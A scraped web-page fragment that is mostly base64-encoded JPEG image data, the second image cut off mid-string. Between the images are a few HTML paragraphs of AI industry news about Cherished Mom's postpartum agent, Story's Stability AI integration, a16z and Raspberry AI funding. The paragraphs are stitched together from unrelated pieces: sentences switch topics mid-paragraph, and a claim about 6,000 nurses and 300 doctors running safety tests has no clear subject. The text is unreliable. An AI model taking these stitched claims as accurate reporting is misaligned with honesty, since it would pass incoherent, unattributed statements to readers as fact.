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" width="309px" alt="a16z generative ai"/></p>
<p><p>Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers navigate such problems with postpartum mental health assessments and depression screening. The startup was initially focused on creating generative AI chatbots to support clinicians and other healthcare professionals, but has since switched its focus to patients themselves. Its most advanced models take advantage of the latest developments in AI agents, which are a form of AI that can perform more complex tasks while working unsupervised. Despite rapid advancements in AI, creators in open-source ecosystems face significant challenges in monetizing derivative works and securing proper attribution.</p>
</p>
<p><p>Story, the global intellectual property blockchain, has announced its integration with Stability AI’s state-of-the-art models to revolutionize open-source AI development. This collaboration enables creators, developers, and artists to capture the value they contribute to the AI ecosystem by leveraging blockchain technology to ensure proper attribution, tracking, and monetization of creative works generated through AI. Andreessen Horowitz, or a16z, is investing in AI and biotech to lead the way in innovation.</p>
</p>
<p><h2>Your vote of support is important to us and it helps us keep the content FREE.</h2>
</p>
<p><p>In a statement, Raspberry AI said the funding would be used to accelerate its product development and add top engineering, sales and marketing talent to its team. But with U.S. companies raising and/or spending record sums on new AI infrastructure that many experts have noted depreciate rapidly (due to hardware/chip and software advancements), the question remains which vision of the future will win out in the end to become the dominant AI provider for the world. Or maybe it will always be a multiplicity of models each with a smaller market share? That’s followed by more extensive evaluations and safety assessments by an extensive network of more than 6,000 nurses and 300 doctors, who will confirm that it passes all required safety tests.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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